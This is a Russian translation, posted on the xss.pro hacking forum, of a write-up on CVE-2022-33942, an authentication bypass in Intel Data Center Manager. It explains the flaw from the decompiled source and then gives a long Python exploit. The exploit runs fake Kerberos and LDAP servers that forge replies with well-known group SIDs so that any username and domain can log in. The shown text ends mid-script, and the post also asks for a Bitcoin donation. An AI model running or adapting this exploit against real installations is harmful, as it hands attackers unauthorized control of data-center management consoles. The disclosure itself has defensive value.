• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья От нуля до героя, часть 1: обход аутентификации Intel DCM путем подделки ответов Kerberos и LDAP (CVE-2022-33942)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поддержания анонимной ноды ETHEREUM - main и тестов

dcm-auth-bypass-3.png


Консоль Intel Data Center Manager - это универсальная консоль для мониторинга и управления в режиме реального времени, позволяющая управлять всем центром обработки данных.

Эта небольшая серия из двух записей в блоге охватывает всю цепочку уязвимостей от неаутентифицированного пользователя до полного удаленного выполнения кода в Intel Data Center Manager (до версии 4.1.1.45749). Все описанные проблемы были обнаружены исключительно на основе анализа исходного кода декомпилированного приложения.

Первая уязвимость цепочки позволяет обойти весь процесс аутентификации DCM, если приложение настроено на аутентификацию от групп Active Directory с общеизвестными SID. Поскольку DCM Intel полагается только на SID и не проверяет подлинность данной службы Active Directory, приложение легко заставить взаимодействовать с произвольным сервером Kerberos/LDAP. Затем произвольный сервер отвечает на запросы аутентификации от Intel DCM, просто возвращая успешную аутентификацию, включая известный/соответствующий SID. В конечном итоге это позволяет аутентифицировать любого пользователя с любым паролем и любой домен Active Directory.

Intel выпустила совет по безопасности INTEL-SA-00713 об этой проблеме и присвоила ей CVE-2022-33942.


Уязвимая конфигурация

Предположим, что администратор настроил группу Guests домена rce.local на доступ к DCM с минимально возможными правами - уровнем Guest в DCM:

dcm-auth-bypass-1-1-1024x147.png


Из которых только в группе «Гости» нет текущих участников группы:

dcm-auth-bypass-2.png


Основываясь на этой конфигурации, вы можете предположить, что эта конфигурация безопасна, потому что:
  • Вы должны быть членом группы Guests в домене rce.local
  • Вы должны знать пароль любого члена группы "Гости".
Давайте докажем, что вы ошибаетесь.

Параметры аутентификации

При обращении к DCM по порту 8643 с использованием HTTPS, перед вами открывается типичный экран аутентификации DcmConsole. Здесь вы также можете выбрать AD Account в качестве типа аутентификации, в результате чего появится дополнительное поле под названием Domain:

dcm-auth-bypass-3.png


Итак, что произойдет, если вы попытаетесь пройти аутентификацию с помощью этой опции: Приложение отправляет HTTP-запрос POST, тип которого установлен на 1:

Код:
POST /DcmConsole/login/login HTTP/1.1
Host: 192.168.178.22:8643
Content-Length: 175
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/plain, */*
Content-Type: text/plain
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.178.22:8643
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.178.22:8643/DcmConsole/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"antiCSRFId":null,"requestObj":{"name":"mrtuxracer","password":"Password0","type":1,"domain":"hack.local","loginTime":"Sun Jun 26 2022 12:05:07 GMT+0200 (Central European Summer Time)"}}

Обзор исходного кода FTW

Я расскажу вам шаг за шагом, как я обнаружил эту уязвимость и использую произвольную реализацию Kerberos и LDAP сервера через Python для ее использования. Мой эксплойт предполагает, что у вас есть контроль над пользовательским доменом (я использую hack.local для демонстрационных целей). Я также жестко закодировал пароль Active Directory Password0 в сценарии, то есть вы можете выбрать любого пользователя, но вы должны использовать этот пароль для Kerberos.

Подделка сервера аутентификации Kerberos

Большая часть ответственного исходного кода находится в классе com.intel.console.server.login.UserMgmtHandler.

Первое, что здесь важно, - это различие между типами аутентификации, задаваемыми параметром type. При выборе типа 1 (он же Active Directory) в строке 1030 вызывается функция loginAD(), которая передает все значения запроса, включая имя пользователя, пароль и домен:

Код:
/* 1022 */     List exceededSessions = new LinkedList<>();
/* 1023 */     int userType = 2;
/*      */     
/* 1025 */     if (type == 0) {
/* 1026 */       logout(request, noSession);
/* 1027 */       userType = loginConsole(request, name, password, exceededSessions, noSession);
/* 1028 */     } else if (type == 1) {
/* 1029 */       logout(request, noSession);
/* 1030 */       userType = loginAD(request, name, password, domain, exceededSessions, noSession);
/* 1031 */     } else if (type == 2) {
/* 1032 */       logout(request, noSession);
/* 1033 */       userType = loginLDAP(request, name, password, exceededSessions, noSession);
/*      */     }
Метод loginAD() выполняет несколько предпросмотровых действий, таких как получение полного доменного имени (строка 1190) и получение чистого имени пользователя (строка 1191). Это связано с тем, что вы также можете аутентифицироваться, используя схему username@domain, например, в REST API DCM. Полученные значения затем используются как свойства java.security.krb5, что одновременно является первым значительным кусочком головоломки - атакующий может контролировать kdc/realm аутентифицирующего сервера:
Код:
/*      */   public static int loginAD(HttpServletRequest request, String name, String password, String domain, List exceededSessions, boolean noSession) throws ConsoleAuthCheckException {
/* 1187 */     HttpSession session = noSession ? null : request.getSession(true);
/* 1188 */     Subject subject = new Subject();
/*      */     
/* 1190 */     String fullDomain = getFullDomain(name, domain);
/* 1191 */     String pureUser = getPureUser(name);
/*      */     
/* 1193 */     System.setProperty("java.security.krb5.kdc", fullDomain.toUpperCase(Locale.ENGLISH));
/* 1194 */     System.setProperty("java.security.krb5.realm", fullDomain.toUpperCase(Locale.ENGLISH));

Далее идет сам процесс аутентификации, который основан на Kerberos v5 и который завершится неудачей, если аутентификация Kerberos не будет успешной (строки 1201 - 1203):

Код:
/* 1196 */     LoginContext lc = null;
/*      */     
/*      */     try {
/* 1199 */       lc = new LoginContext("Krb5Login", subject, new DcmLoginCallbackHandler(pureUser, password));
/*      */       
/* 1201 */       lc.login();
/* 1202 */     } catch (LoginException le) {
/* 1203 */       handleAuthenticationException(le);
/*      */     }
Как же нам пройти эту проверку, если у нас есть контроль над доменом? Правильно: нам нужно создать произвольный сервер Kerberos, который будет отвечать на запрос аутентификации и возвращать успешную аутентификацию.

AS_REQ

Давайте быстро рассмотрим процесс аутентификации Kerberos v5 и то, как DCM использует его. Когда вызов login() в строке 1201 достигнут, DCM посылает запрос AS_REQ на заданный сервер Kerberos. Этот запрос выглядит следующим образом:

dcm-auth-bypass-4.png


Чтобы ответить на запрос AS_REQ, необходимо извлечь из запроса несколько сведений:

nonce - ответ также должен содержать nonce, который предоставил клиент (DCM). Это необходимо для предотвращения атак повторного воспроизведения.
realm - по сути, это запрашиваемый домен Active Directory, который требуется для AS_REP
username - это пользователь Active Directory, для которого мы должны вернуть успешную аутентификацию.
etype - это алгоритмы шифрования, которые поддерживает клиент. Нам не нужно извлекать их, просто выберите один из них для ответа.

AS_REP

В ответ на AS_REQ произвольный сервер Kerberos ответит сообщением AS_REP, которое выглядит следующим образом:
dcm-auth-bypass-5.png

Первый etype указывает на алгоритм шифрования, затем следует сфера и имя пользователя, также известное как CNameString. Наиболее важной частью является enc-часть в конце сообщения, поскольку она является доказательством аутентификации. Это блок данных, зашифрованный сервером Kerberos с использованием пароля пользователя, который Kerberos извлекает из своей базы данных. Если пользователь также указал тот же пароль в процессе аутентификации, DCM может успешно расшифровать и прочитать его содержимое.

Расшифрованная часть шифра выглядит следующим образом:
Код:
key=EncryptionKey:
  keytype=18
  keyvalue=0x2deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237

 last-req=LastReq:
  Sequence:
   lr-type=0
   lr-value=20220627111947Z

 nonce=76839024
 key-expiration=20370914024805Z
 flags=6356992
 authtime=20220627111947Z
 endtime=20220627211947Z
 srealm=HACK.LOCAL
 sname=PrincipalName:
  name-type=2
  name-string=SequenceOf:
   krbtgt   HACK.LOCAL
Некоторые ключевые данные здесь следующие:
  • nonce - Это то же самое значение nonce, которое клиент представил в сообщении AS_REQ и повторно используется здесь для проверки целостности.
  • authtime - Используется для того, чтобы убедиться в отсутствии перекосов часов, а также в том, что запрос не будет воспроизведен.
  • endtime - Используется для определения достоверности данных.
  • srealm - Это соответствует сфере из AS_REQ.
Мой финальный эксплойт автоматически устанавливает все необходимые значения и шифрует enc-part, используя жестко заданный пароль Password0, в результате чего DCM успешно проходит аутентификацию Kerberos.

Возвращение произвольных объектов LDAP

После прохождения аутентификации Kerberos приложение переключается на LDAP с помощью класса com.intel.console.server.login.ADHelper (строки 1206, 1215-1216). Это означает, что нам также нужен произвольный LDAP-сервер для ответа на любые входящие LDAP-запросы от DCM.
Метод init() здесь просто подготавливает LDAP-соединение с тем самым хостом, заданным переменной fullDomain, который мы контролируем, и, наконец, вызывает LDAP bindRequest (строка 1216):
Код:
/* 1206 */     ADHelper adHelper = null;
/* 1207 */     int[] userType = { 2 };
/*      */     
/*      */     try {
/* 1210 */       String domainUserName = getDomainUser(name, fullDomain);
/* 1211 */       Boolean enbaleTls = Boolean.valueOf(Boolean.parseBoolean(Configuration.getProperty(InternalProperty.ENABLE_AD_TLS
/* 1212 */               .name())));
/* 1213 */       int adPort = Integer.parseInt(Configuration.getProperty(InternalProperty.AD_PORT
/* 1214 */             .name()));
/* 1215 */       adHelper = new ADHelper(fullDomain, adPort, domainUserName, password, enbaleTls);
/* 1216 */       adHelper.init();

The bindRequest выглядит следующим образом:

dcm-auth-bypass-6.png


И ответит наш произвольный сервер LDAP, используя сообщение об успешном связывании, которое выглядит следующим образом:

dcm-auth-bypass-7.png


Следующие несколько строк важны:

Код:
/* 1218 */       String userSid = adHelper.getUserSid(pureUser);
/* 1219 */       UserInfo[] userInfo = getUsersBySidAndDomain(userSid, fullDomain);
/* 1220 */       DcmUserPrincipal userPrincipal = createUserPrincipal(domainUserName, userInfo, 1, userType);
Во-первых, вызов getUserSid() (строка 1218) создает поисковый запрос LDAP (строка 73) и выполняет фактический LDAP searchRequest (строка 80), чтобы вернуть SID объекта (строки 82-86) или null, если запрашиваемый пользователь не найден:

Код:
/*     */   public String getUserSid(String userName) throws NamingException {
/*  72 */     String searchBase = makeRootBase();
/*  73 */     String searchFilter = "(&(objectClass=user)(sAMAccountName=" + userName + "))";
/*     */
/*     */     
/*  76 */     SearchControls searchControls = new SearchControls();
/*  77 */     searchControls.setSearchScope(2);
/*  78 */     searchControls.setReturningAttributes(new String[] { "objectSID" });
/*     */     
/*  80 */     NamingEnumeration results = this.ctx.search(searchBase, searchFilter, searchControls);
/*     */     
/*  82 */     SearchResult result = null;
/*  83 */     if (results.hasMoreElements()) {
/*  84 */       result = results.nextElement();
/*  85 */       return buildSid((byte[])result.getAttributes()
/*  86 */           .get("objectSID").get());
/*     */     }
/*     */     
/*  89 */     return null;
/*     */   }

Необработанный SearchRequest выглядит следующим образом:

dcm-auth-bypass-8.png


Однако наш произвольный LDAP-сервер вернет SID для любого запрашиваемого пользователя S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295-4294967295 (hex: 0x0105000000000005ffffffffffffffffffffffffffffffffffffffffff), что важно для прохождения еще одной проверки позже:

dcm-auth-bypass-9.png


Вызов getUsersBySidAndDomain() в строке 1219 окончательно формирует SQL-запрос, проверяющий ранее полученный sid на соответствие базе данных DCM (строка 421):

Код:
/*      */   private static UserInfo[] getUsersBySidAndDomain(String sid, String domain) throws ConsoleDbException {
/*  415 */     List userList = new LinkedList<>();
/*  416 */     Connection conn = ConnectionProvider.getConnection();
/*  417 */     PreparedStatement statement = null;
/*  418 */     ResultSet res = null;
/*      */     
/*      */     try {
/*  421 */       String query = "select \"id\", \"name\", \"description\",\"type\",\"domain\",\"account_type\",\"sid\" from \"T_User\" where sid=? and domain=?";
/*      */       
/*  423 */       statement = conn.prepareStatement(query);
/*  424 */       int paramIndex = 1;
/*  425 */       statement.setString(paramIndex++, sid);
/*  426 */       statement.setString(paramIndex++, domain);
/*  427 */       res = statement.executeQuery();
[...]
/*  462 */     return userList.toArray(new UserInfo[userList.size()]);
/*      */   }

Однако, поскольку мы используем наш собственный произвольный Kerberos/LDAP, который возвращает здесь случайный SID (SID реальных пользователей угадать невозможно), он вернет пустой userList в строке 462:

dcm-auth-bypass-10-1024x332.png


Поскольку userList пуст, вызов следующего метода createUserPrincipal() в строке 1220 также вернет null, в результате чего userPrincipal также станет null:

Код:
/*      */   private static DcmUserPrincipal createUserPrincipal(String userName, UserInfo[] userInfo, int accountType, int[] userType) {
/* 1276 */     if (userInfo == null || userInfo.length == 0) {
/* 1277 */       return null;
/*      */     }

dcm-auth-bypass-11-1024x343.png

Эта реализация нацелена на процесс аутентификации одного пользователя Active Directory. Однако мы не можем использовать этот путь, поскольку мы не знаем (и не можем угадать) SID любого отдельного пользовательского объекта Active Directory.

Запутывание DCM с известными SID

Далее происходит проверка, является ли userPrincipal нулевым (строка 1222). Поскольку процесс аутентификации одного пользователя не удался, следующим логическим шагом будет проверка того, разрешена ли аутентификация группы пользователя, поскольку это фактический вариант аутентификации в DCM. Это происходит с помощью следующей последовательности для получения информации о группе пользователя Active Directory:

Код:
/* 1222 */       if (userPrincipal == null) {
/* 1223 */         String[] groupNames = adHelper.getUserGroupSid(userSid);
/* 1224 */         UserInfo[] groupInfo = getUserGroupInfo(groupNames);
/* 1225 */         userPrincipal = createUserPrincipal(domainUserName, groupInfo, 2, userType);
/*      */       }

Вызов в строке 1223 передает наш произвольный SID пользователя S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295 в getUserGroupSid(), где поиск заданного SID пользователя происходит в строке 122:

Код:
/*     */   public String[] getUserGroupSid(String userSid) throws NamingException {
/* 114 */     String searchBase = makeRootBase();
/* 115 */     String searchFilter = "(&(objectClass=user)(objectSid=" + userSid + "))";
/*     */     
/* 117 */     SearchControls searchControls = new SearchControls();
/* 118 */     searchControls.setSearchScope(2);
/* 119 */     searchControls.setReturningAttributes(new String[] { "distinguishedName" });
/*     */
/*     */     
/* 122 */     NamingEnumeration results = this.ctx.search(searchBase, searchFilter, searchControls);
/*     */     
/* 124 */     SearchResult result = null;
/* 125 */     if (results.hasMoreElements()) {
/* 126 */       result = results.nextElement();
/*     */       
/* 128 */       String dn = (String)result.getAttributes().get("distinguishedName").get();
/*     */       
/* 130 */       SearchControls searchContext = new SearchControls(0, 0L, 0, new String[] { "tokenGroups" }, false, false);
/*     */
/*     */       
/* 133 */       results = this.ctx.search(dn, "(&(objectClass=user))", searchContext);
/* 134 */       if (results.hasMoreElements()) {
/* 135 */         SearchResult item = results.next();
/* 136 */         Attributes metadata = item.getAttributes();
/* 137 */         Attribute attribute = metadata.get("tokenGroups");
/* 138 */         NamingEnumeration tokens = attribute.getAll();
/* 139 */         List ret = new LinkedList<>();
/* 140 */         while (tokens.hasMore()) {
/* 141 */           byte[] sid = (byte[])tokens.next();
/* 142 */           ret.add(buildSid(sid));
/*     */         }
/* 144 */         return ret.toArray(new String[ret.size()]);
/*     */       }
/*     */     }
/*     */     
/* 148 */     return null;
/*     */   }

Это вызывает еще два запроса LDAP. Первый - для объекта пользователя:

dcm-auth-bypass-12.png


на который наш произвольный LDAP-сервер всегда отвечает независимо от SID пользователя, просто возвращая произвольное distinguishedName:

dcm-auth-bypass-13.png


Второй запрос LDAP (строка 133) запрашивает tokenGroups (также известные как SIDs групп) данного пользователя

dcm-auth-bypass-14.png


Поскольку наш произвольный LDAP-сервер знает SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295, он с радостью ответит на этот запрос о SID группы пользователя, выдав S-1-5-32-546 (hex: 0x01020000000000052000000022020000), S-1-5-32-545 (hex: 0x01020000000000052000000020020000) и еще один случайный ID. Таким образом, первые два групповых SID называются "well-known-sids" и представляют группу "Гости" и группу "Пользователи":

dcm-auth-bypass-15.png


Это означает, что массив groupNames (строка 1222) теперь заполнен возвращаемыми SID групп и передается в вызов getUserGroupInfo() в строке 1224:

dcm-auth-bypass-16.png


getUserGroupInfo() по сути строит условие SQL-запроса на основе различных SID (строки 1312-1324):

Код:
/*      */   private static UserInfo[] getUserGroupInfo(String[] groups) throws ConsoleDbException {
/* 1310 */     UserInfo[] groupInfo = null;
/*      */     
/* 1312 */     if (groups != null && groups.length != 0) {
/* 1313 */       String condition = "";
/* 1314 */       for (String groupSid : groups) {
/* 1315 */         if (condition.isEmpty()) {
/* 1316 */           condition = condition + "(";
/*      */         } else {
/* 1318 */           condition = condition + ",";
/*      */         }
/* 1320 */         condition = condition + "'" + condition + "'";
/*      */       }
/*      */       
/* 1323 */       condition = condition + ")";
/* 1324 */       groupInfo = getUsers(" sid in " + condition);
/*      */     }
/* 1326 */     return groupInfo;
/*      */   }

и, наконец, передает условие в другой вызов getUsers():

dcm-auth-bypass-17.png


getUsers() в ответ выполняет SQL-запрос, который проверяет, существует ли заданный SID в базе данных:

Код:
/*      */   private static UserInfo[] getUsers(String condition) throws ConsoleDbException {
/*  517 */     List userList = new LinkedList<>();
/*      */     
/*  519 */     Connection conn = ConnectionProvider.getConnection();
/*  520 */     PreparedStatement statement = null;
/*  521 */     ResultSet res = null;
/*      */     
/*      */     try {
/*  524 */       String query = "select \"id\", \"name\", \"description\",\"type\",\"domain\",\"account_type\",\"sid\" from \"T_User\" where " + condition;
/*      */       
/*  526 */       statement = conn.prepareStatement(query);
/*  527 */       res = statement.executeQuery();
[...]

dcm-auth-bypass-18-1024x375.png


Поскольку администратор действительно настроил группу Guests на возможность аутентификации, он возвращает несколько параметров, включая имя группы и ее SID:

dcm-auth-bypass-19.png


Последним вызовом в последовательности аутентификации является createUserPrincipal(), который включает данные предыдущего SQL-запроса и в конечном итоге проверяет, присутствует ли данный пользователь в списке разрешенных пользователей DCM:

Код:
/*      */   private static DcmUserPrincipal createUserPrincipal(String userName, UserInfo[] userInfo, int accountType, int[] userType) {
/* 1276 */     if (userInfo == null || userInfo.length == 0) {
/* 1277 */       return null;
/*      */     }
/*      */     
/* 1284 */     Map<integer, list<userinfo="">> usersByType = (Map<integer, list<userinfo="">>)Arrays.stream(userInfo).collect(Collectors.groupingBy(UserInfo::getType));
/*      */     
/* 1290 */     int[] userTypeOrder = { 1, 3, 4, 2 };
/*      */     
/* 1292 */     for (int type : userTypeOrder) {
/* 1293 */       List userList = usersByType.get(Integer.valueOf(type));
/* 1294 */       if (userList != null && !userList.isEmpty()) {
/*      */
/*      */
/*      */         
/* 1298 */         Collections.sort(userList);
/* 1299 */         List userIds = (List)userList.stream().map(UserInfo::getId).collect(Collectors.toList());
/* 1300 */         userType[0] = type;
/* 1301 */         return new DcmUserPrincipal(userName, userIds, accountType);
/*      */       }
/*      */     }
/*      */     
/* 1305 */     return null;
/*      */   }</integer,></integer,>

Поскольку группа S-1-5-32-546 авторизована для аутентификации в DCM, а наш произвольный LDAP-сервер вернул случайный объект пользователя, который имеет тот же набор SID группы, DCM с радостью приступает к аутентификации пользователя, возвращая объект DcmUserPrincipal:

dcm-auth-bypass-20-1024x755.png


Это в конечном итоге означает, что можно аутентифицироваться в DCM, используя любое имя пользователя и любое доменное имя, потому что единственное, что проверяется здесь, это SID группы пользователей.

dcm-auth-bypass-21-1024x375.png

Автоэксплуатация
Получился сложный скрипт для эксплуатации этой уязвимости:

Код:
import socket
import struct
import binascii

from ldap3.protocol.rfc4511 import SearchResultReference
from pyasn1.codec.der import decoder, encoder
from pyasn1.codec.ber.encoder import encode
from pyasn1.type.univ import noValue
from datetime import datetime, timedelta

from impacket.krb5 import constants
from impacket.krb5.crypto import (Key, Enctype, encrypt, _AES256CTS)
from impacket.krb5.asn1 import AS_REQ, AS_REP, ETYPE_INFO2, EncASRepPart

from ldap3.protocol.rfc4511 import (
    LDAPMessage, MessageID, ProtocolOp,  BindResponse, ResultCode, SearchResultDone,
    SearchResultEntry, LDAPDN, PartialAttributeList, PartialAttribute,
    AttributeDescription, Vals, AttributeValue
)

listen_ip = "0.0.0.0"

with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
    # Bind the socket to the port
    server_address = (listen_ip, 88)
    s.bind(server_address)

    while True:
        print("\n[+] Waiting for incoming Kerberos UDP Request")
        data, address = s.recvfrom(4096)
        print("[+] Received connection from {}".format(address))

        if data:
            # Refuse UDP connection with a KRB4KRB_ERR_RESPONSE_TOO_BIG
            # Details of the response don't really matter such as the domain name
            payload1 = bytes.fromhex("7e583056a003020105a10302011ea411180f32303232303631303134353030375aa50502030a6c5fa603020134a90b1b095243452e4c4f43414caa1e301ca003020102a11530131b066b72627467741b095243452e4c4f43414c")
            sent = s.sendto(payload1, address)
            break

    s.close()

print("[+] Answered Kerberos UDP Authentication Request")

# Let's open up port 88 for Kerberos v5 interactions
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    print("[+] Waiting for incoming Kerberos TCP Request")
    s.bind((listen_ip, 88))
    s.listen()
    conn, address = s.accept()
    with conn:
        print("[+] Received Kerberos connection from {}".format(address))
        while True:
            recvDataLen = struct.unpack('!i', conn.recv(4))[0]
            r = conn.recv(recvDataLen)
            while len(r) < recvDataLen:
                r += conn.recv(recvDataLen - len(r))

            # Let's first parse the AS_REQ
            asReq = decoder.decode(r, asn1Spec=AS_REQ())[0]

            # Let's get a couple of things from the initial request required to build further responses
            nonce = asReq['req-body']['nonce']
            realm = str(asReq['req-body']['realm'])
            username = str(asReq['req-body']['cname']['name-string'][0])

            # Do some crypto stuff
            # salt is composed of the realm concatenated with the username
            salt = realm + username
            aesKey = _AES256CTS.string_to_key("Password0", salt, params=None).contents
            key = Key(Enctype.AES256, aesKey)

            # Some pre-recoded AS_REP message (encrypted part only)
            plainText = binascii.unhexlify("7981da3081d7a02b3029a003020112a12204202deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237a11c301a3018a003020100a111180f32303232303631383133323432315aa20602040c3c5eb6a311180f32303337303931343032343830355aa40703050000610000a511180f32303232303631383133323432315aa611180f32303232303631383133323432315aa711180f32303232303631383233323432315aa90c1b0a4841434b2e4c4f43414caa1f301da003020102a11630141b066b72627467741b0a4841434b2e4c4f43414c")

            # Use some random confounder
            confounder = binascii.unhexlify("13371337133713371337133713371337") # first 16 bytes of an AS_REP message

            encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]

            # Modify nonce to match the client's nonce
            encASRepPart['nonce'] = int(nonce)

            # Change timestamps to not screw any clock diffs
            my_date = datetime.now()
            current_timestamp = my_date.strftime('%Y%m%d%H%M%SZ')
            encASRepPart['authtime'] = current_timestamp
            encASRepPart['last-req'][0]['lr-value'] = current_timestamp

            # this is to make sure no clock scew occurs, because if starttime isn't present, the KDC's time is taken
            # see RFC4120 3.1.3 at https://datatracker.ietf.org/doc/html/rfc4120#page-48
            encASRepPart['starttime'] = noValue

            # Endtime + 10 hours
            newEndTime = datetime.now() + timedelta(hours=10)
            encASRepPart['endtime'] = newEndTime.strftime('%Y%m%d%H%M%SZ')

            # Modify realms
            encASRepPart['srealm'] = realm
            encASRepPart['sname']['name-string'][1] = realm

            # encrypt again
            final = encrypt(key, 3, encoder.encode(encASRepPart), confounder)

             # Construct an AS_REP
            asRep = AS_REP()
            asRep['pvno'] = 5
            asRep['msg-type'] = int(constants.ApplicationTagNumbers.AS_REP.value)

            asRep['padata'] = noValue
            asRep['padata'][0] = noValue
            asRep['padata'][0]['padata-type'] = constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value

            etype2 = ETYPE_INFO2()
            etype2[0] = noValue
            etype2[0]['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
            etype2[0]['salt'] = salt
            encodedEtype2 = encoder.encode(etype2)
            asRep['padata'][0]['padata-value'] = encodedEtype2

            asRep['crealm'] = realm

            asRep['cname'] = noValue
            asRep['cname']['name-type'] = constants.PrincipalNameType.NT_PRINCIPAL.value
            asRep['cname']['name-string'] = noValue
            asRep['cname']['name-string'][0] = username

            asRep['ticket'] = noValue
            asRep['ticket']['tkt-vno'] = constants.ProtocolVersionNumber.pvno.value
            asRep['ticket']['realm'] = realm
            asRep['ticket']['sname'] = noValue
            asRep['ticket']['sname']['name-string'] = noValue
            asRep['ticket']['sname']['name-string'][0] = "krbtgt"
            asRep['ticket']['sname']['name-type'] = constants.PrincipalNameType.NT_SRV_INST.value
            asRep['ticket']['sname']['name-string'][1] = realm

            asRep['ticket']['enc-part'] = noValue
            asRep['ticket']['enc-part']['kvno'] = 2
            asRep['ticket']['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
            # Using a pre-encrypted ticket here. The ticket itself doesn't matter since it's not used
            asRep['ticket']['enc-part']['cipher'] = binascii.unhexlify("3dbe1e264dc1c7c3c4fc619efbfb49ee8c10b76d6c312d10aab3d7e6b00ccbaa9d3b9ed706d79d9124920b36b07e67dbe709806a24b9edc12ed40f5cd835c14369763468008863ba7af2d94196de1e89d06bb58bad7dab97cc7a107818983546e9c0d9c115722f38207ad8ea94afdebc9b42326f2fd14a9b629f970617d9ac15009fcabd99c89471eb91fc8b07efadbcc6fb0d6af813ca452481d5ee6c530a0a54bdeacd96f2913adcbca80ab62396ce8f8734bf18c582035ac614257c41fec115989d73e8ef5587b1cadcb184694dd3c3cee1cb8d0e0b8019f9444f0de31bf4c2acbaecd4935ddb40cbe9ad34376289e4a82757f013f9686165e7b02846f162bae705ca02429068dd5b2f450e36a94b27f7cd30c36537fbbedaea6ee00431b7c8fbdda5cdf943790e9b82c59c95b95f9de7d6639bdba0c3dadf3b3bd4a207386bb9cfa06e539656d57796a8e28ddecca94af04348e3edb1833721c17fe4040ab4975a41a1a40ae67e87d00740c417cd7d915e2185c66861e32648489227b9e344c27c3290d67c9c8cb507646c77ef0fdbc7d527802b11b693b6cd12f393d5c9737ed1dead9fa769994b7c0c753d17f676b767334e898f52f496e6f4f46f57592d291f3425e5bb12fa02b352989dacc3746d1ef1690bb6c8b61cefb5560bdcf956af1b975c838df6d65118aa7306e39f3076780b4b450cf88b39e75fb13fa325e82cede2e9bab8eba0e0a5da73806eb174c85001240b2df27c5f732ca17943b6be6153e1c871ddd3c0fab49bca9d1218e5014a70c73399817efe7016df206ad42643e478656a700709f654f161366057c2fcdc61030b3c6ff562e5b702224d3720153b32f92c1c86f6500df17f5cce3b7d762a31fea8cc0ffb80062c36f46be5d0905c170ebf46d78cc7dc0644ca72ed01f8b561980de786441b595941fe5b3fde09b7945780d5fbf175bdd7512708af481dc1bac50d845b869b5afaf71de31efd0856df5b1283511537057618fd6251cacd8796723c4a7456fd180c04c2e87cc74e073e6e9992936e98aec4216e6a2da5423204f3a4c9853b0ce7d10847d898b5ba7c6a2c0a38f545da25410c9e94bb63d992850ef54733056ceec9e3a7256a935df1aee76000e0e388826c48c769c21f1767ffa468438a76d91c8ad152368a91c07512b6b4b0f6dfafbdeb3e2e15d3ea6e1aa9f5cfab0b0299bc100e38f1e40c8b3e0c993303a728ec4e21467492e56b64e489a2da387a80c432d04a58d05c27609a9ce085935417f3b219fc9bffc47433611ee50502911467ea843eef815c3f2593c12fd126228bcb0d57c7220f7e70719ab011f5b650f91540984d9c78dbf72852e836d833c5cc7b265311b593cf1d5b6c523829e74b3f939c291b7ceff9231e2cb39f035e3d44dfc720510b3bffdf12fb9090b03acdaa9f04295dc62d3d110e92461fcf66a0aa36543f2cc38114de298e3b6d9c40d283677a6cf2246860a931")

            asRep['enc-part'] = noValue
            asRep['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
            asRep['enc-part']['kvno'] = 2
            asRep['enc-part']['cipher'] = final

            encodedASREP = encoder.encode(asRep, asn1Spec=AS_REP())

            # We need to prepend the packet with its length
            lenOfASREP = struct.pack('>I', len(encodedASREP))

            final_payload = lenOfASREP + encodedASREP

            conn.send(final_payload)
            print("[+] Kerberos AS_REP sent!")

            s.close()
            break


def SearchResultDone_request(messageID):
    srd = SearchResultDone()
    srd['resultCode'] = ResultCode('success')
    srd['matchedDN'] = ''
    srd['diagnosticMessage'] = ''
    msg = LDAPMessage()
    msg['messageID'] = MessageID(messageID)
    msg['protocolOp'] = ProtocolOp().setComponentByName('searchResDone', srd)
    return srd


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((listen_ip, 389))
    s.listen()
    conn, address = s.accept()

    with conn:
        print("[+] Received LDAP connection from {}".format(address))
        while True:
            r = conn.recv(2048)

            # First get the messageId
            ldap_resp, _ = decoder.decode(r, asn1Spec=LDAPMessage())
            messageID = ldap_resp['messageID']

            if messageID == 1:
                print("[+] Sending successful bindResponse")
                res = BindResponse()
                res['resultCode'] = ResultCode('success')
                res['matchedDN'] = ''
                res['diagnosticMessage'] = ''

                msg = LDAPMessage()
                msg['messageID'] = MessageID(messageID)
                msg['protocolOp'] = ProtocolOp().setComponentByName('bindResponse', res)
                data = encode(msg)
                conn.send(data)

            elif messageID == 2:
                print("[+] Sending searchResEntry results #1 to return invalid user SID to reach the vulnerable code branch")
                res = SearchResultEntry()
                res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')

                res['attributes'] = PartialAttributeList()
                res['attributes'][0] = PartialAttribute()
                res['attributes'][0]['type'] = AttributeDescription('objectSid')
                res['attributes'][0]['vals'] = Vals()
                # translates to SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295
                res['attributes'][0]['vals'][0] = AttributeValue(b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff')

                msg1 = LDAPMessage()
                msg1['messageID'] = MessageID(messageID)
                msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)

                res = SearchResultReference()
                res.setComponentByPosition(0, 'ldap://hack.local/CN=Configuration,DC=hack,DC=local')
                msg2 = LDAPMessage()
                msg2['messageID'] = MessageID(messageID)
                msg2['protocolOp'] = ProtocolOp().setComponentByName('searchResRef', res)

                # Let's put the LDAPMessages together
